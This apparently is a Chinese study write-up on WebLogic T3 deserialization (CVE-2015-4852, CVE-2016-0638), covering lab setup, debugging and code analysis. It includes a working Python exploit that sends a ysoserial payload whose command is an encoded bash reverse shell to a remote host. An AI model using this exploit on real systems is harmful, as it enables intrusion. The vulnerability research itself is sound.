環境搭建

使用https://github.com/QAX-A-Team/WeblogicEnvironmentQAX的自動化搭建

參考:https://www.cnblogs.com/0x7e/p/14529949.html

(ps:ubuntu和centos,windows 感覺都不如kali來的潤)

下載對應jdk和weblogic放到對應的文件夾

然后就是修改Dockerfile,因為libnsl這個東西 會安裝錯誤

vim Dockerfile

RUN yum -y install libnsl刪除即可 (就只搭建環境浪費了我兩天時間)


docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21F

(垃圾),到之后從kali中提出文件的時候 會拖不到本地來......

(最后還是 windows本地搭建的,在docker中走代理)

遠程調試

mkdir ./middlewaremkdir -p ./coherence_3.7/libdocker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

直接拉到本地

如果不想這么麻煩的話可以直接運行對于的.sh腳本,比如這里安裝的是1036 jdk是7u21 ,直接運行run_weblogicjdk7u21.sh,自動安裝以及自動從容器里面導出jar包。

新建一個web項目 然后

打開wlserver目錄

然后add library剛剛導出的coherence_3.7/libmodules

配置遠程調試

點擊debug

如此便是可以debug了

(搭環境搭了三天了...........) 開團!!!

驗證環境

weblogic/wsee/jaxws/WLSServletAdapter.class的handle方法打上斷點(如果查不到使用全局搜索即可)

訪問http://127.0.0.1:7001/wls-wsat/CoordinatorPortType


關于T3協議

T3協議是Weblogic用于通信的獨有的一個協議,Weblogic Server的RMI通信使用它在其他區的Java程序(包括 服務端,客戶端,以及其他實例)傳輸數據。

T3協議的組成

這里借一張圖解釋一下關于 T3協議的組成

ac ed 00 05是反序列化標志,而在 T3 協議中每個序列化數據包前面都有fe 01 00 00,所以 T3 的序列化標志為fe 01 00 00 ac ed 00 05

并且在發送T3協議的時候 還可以發送多個序列化數據 ,可以替換其中一個的序列化數據 實現反序列化攻擊。

借qax的一張圖解釋

基于T3協議的漏洞

關于T3協議 最開始的漏洞是CVE-2015-4852,隨后都是繞過官方的補丁例如:CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883

CVE-2015-4852

在weblogic收到T3協議的時候

會在weblogic/rjvm/InboundMsgAbbrev.class類中進行反序列化操作的處理

這里重寫了readObject

調用了ServerChannelInputStream

ServerChannelInputStream中 重寫了resolveClass但是其最終還是調用了父類的resolveClass

簡單點說就是 ,resolveClass方法把類的序列化描述加工成該類的Class對象,所以這里也就是入口點

沒有任何過濾的調用resolveClass ,可以加載惡意的Class對象

這里放入resolveClass的源碼

debug分析

POC:


from os import popenimport struct  # 負責大小端的轉換import subprocessfrom sys import stdoutimport socketimport reimport binascii
def generatePayload(gadget, cmd):    YSO_PATH = "./ysoserial-all.jar"    popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)    return popen.stdout.read()
def T3Exploit(ip, port, payload):    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    sock.connect((ip, port))    handshake = "t3 12.2.3AS:255HL:19MS:10000000"    sock.sendall(handshake.encode())    data = sock.recv(1024)    data += sock.recv(1024)    compile = re.compile("HELO:(.*).0.false")    print(data.decode())    match = compile.findall(data.decode())    if match:        print("Weblogic: " + "".join(match))    else:        print("Not Weblogic")        return    header = binascii.a2b_hex(b"00000000")    t3header = binascii.a2b_hex(        b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")    desflag = binascii.a2b_hex(b"fe010000")    payload = header + t3header + desflag + payload    payload = struct.pack(">I", len(payload)) + payload[4:]    sock.send(payload)
if __name__ == "__main__":    ip = "127.0.0.1"    port = 7001    gadget = "CommonsCollections1"    cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4yLjE0OS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}"    payload = generatePayload(gadget, cmd)    T3Exploit(ip, port, payload)

var1是我們輸入的序列化數據

中間的一系列調用省略 直接到resolveClass類中

這里的var1是AnnotationInvocationHandler,就直接到了cc1的起點

調用getName方法獲取類名,之后通過Class.forName方法獲取對應的類,因為這里的resolveClass方法是直接使用的父類的該方法,并沒有做出任何的安全過濾操作,所以能夠實例化任意類

之后的利用T3協議反序列化的都是和黑名單、白名單斗智斗勇的

CVE-2016-0638

這個cve即是繞過2015補丁的也是一個二次反序列化的實例

關于Externalizable

weblogic/jms/common/StreamMessageImpl

可以看到調用了一次readExternal,又調用了一次readObject兩次反序列化

這里我們跟進createPayload方法

readInt()讀取 輸入數據的長度,var0為輸入數據

Math.min(var1, Chunk.CHUNK_SIZE * 2)取出chunk長度中較小的一位

將我們的讀取到的chunk進行反序列化,重寫writeExternal()方法,將需要二次反序列化的數據寫入,再次進行序列化即可。ref:https://www.anquanke.com/post/id/250801#h3-8